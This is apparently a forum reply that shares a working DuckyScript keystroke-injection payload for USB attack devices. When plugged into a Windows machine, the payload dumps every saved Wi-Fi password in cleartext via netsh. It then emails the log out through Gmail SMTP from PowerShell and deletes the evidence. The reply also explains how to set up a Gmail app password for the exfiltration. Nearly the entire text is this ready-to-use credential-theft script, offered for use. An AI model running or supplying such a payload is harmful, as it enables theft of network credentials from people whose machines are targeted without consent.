Your script seems like there it has some flawed monkey business going on. I'm too lazy to figure out exactly what that is. However, This works:
Note that you will want to create an Application password for Windows in Gmail so that can send email from Windows machines. A lot of people get hung up on this part. Go here and follow the instructions.
https://support.google.com/accounts/answer/185833?hl=en
Done correctly, Google will give you something like: hjsjdhuhfkjcjfhfqq
Use this application in place of YOURPASSWORD
Don't forget the quotes around 'YOURPASSWORD'
Obviously, you'll most likely want to create a separate gmail account for serious monkey business as this script put the keys to your Gmail kingdom in clear text.
-----SCRIPT----------
REM --> Adjust the delays up if your machines are slow.
DELAY 4000
GUI d
DELAY 1000
REM --> Open cmd
WINDOWS r
DELAY 1000
STRING cmd
ENTER
DELAY 1000
REM --> Get all SSID
STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt
ENTER
REM --> Create a filter.bat to get all the profile names
STRING echo setlocal enabledelayedexpansion^
ENTER
ENTER
STRING for /f "tokens=5*" %%i in (a.txt) do (^
ENTER
ENTER
STRING set val=%%i %%j^
ENTER
ENTER
STRING if "!val:~-1!" == " " set val=!val:~0,-1!^
ENTER
ENTER
STRING echo !val!^>^>b.txt) > filter.bat
ENTER
REM --> Run filter.bat and save all profile names in b.txt
STRING filter.bat
DELAY 300
ENTER
REM --> Save all the good stuff in Log.txt and delete the other garbage files
STRING (for /f "tokens=*" %i in (b.txt) do @echo SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt
ENTER
DELAY 4000
STRING del a.txt b.txt filter.bat
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAIL@gmail.com', 'YOURPASSWORD');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'EMAILFROM@gmail.com'
ENTER
STRING $ReportEmail.To.Add('EMAILTO@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WIFI Log from Machine'
ENTER
STRING $ReportEmail.Body = 'Attached is the WIFI Log'
ENTER
STRING $ReportEmail.Attachments.Add('Log.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
REM --> Delete Log.txt and exit
STRING del Log.txt
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
STRING exit
-----SCRIPT----------